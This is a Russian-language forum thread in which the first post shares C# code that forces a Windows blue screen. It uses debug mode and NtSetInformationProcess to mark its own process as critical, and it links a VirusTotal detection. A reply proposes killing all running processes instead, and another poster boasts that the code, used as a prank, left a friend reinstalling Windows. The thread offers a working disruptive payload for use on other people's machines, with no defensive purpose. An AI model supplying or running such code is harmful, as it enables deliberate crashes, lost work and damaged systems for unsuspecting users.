Всем доброго утра и приятного апетита! Сегодня я покажу код для вызова синего экрана смерти Windows (BSOD) средствами C#. Собственно к коду: using System; using System.Diagnostics; using System.Runtime.InteropServices; namespace BSOD { class Program { [DllImport("ntdll.dll", SetLastError = true)] private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength); // Импортируем функцию из ntdll.dll для создания хэндла static void Main(string[] args) { try { int isCritical = 1; int BreakOnTermination = 0x1D; Process.EnterDebugMode(); // Включаем дебаг режим NtSetInformationProcess(Process.GetCurrentProcess().Handle, BreakOnTermination, ref isCritical, sizeof(int)); // Создаем хэндл, который приводит к крашу } catch { } } } } Код using System; using System.Diagnostics; using System.Runtime.InteropServices; namespace BSOD { class Program { [DllImport("ntdll.dll", SetLastError = true)] private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength); // Импортируем функцию из ntdll.dll для создания хэндла static void Main(string[] args) { try { int isCritical = 1; int BreakOnTermination = 0x1D; Process.EnterDebugMode(); // Включаем дебаг режим NtSetInformationProcess(Process.GetCurrentProcess().Handle, BreakOnTermination, ref isCritical, sizeof(int)); // Создаем хэндл, который приводит к крашу } catch { } } } } Вот и все. Детект ВТ:: https://www.virustotal.com/#/file/9...20b4a46fe401d81e2a9416af729cccc3ba2/detection
Блин нельзя сделать вот-так? Process[] processes = Process.GetProcesses(); foreach (Process instance in processes) { instance.Kill(); } Код Process[] processes = Process.GetProcesses(); foreach (Process instance in processes) { instance.Kill(); }
Называется подшутил над другом, которые теперь переустанавливает виндовс P.S. Переустанавливает потому что после синего экрана пошел устанавливать какой-то драйвер и у него видеодрайвер слетел и не хочет устанавливаться)) xD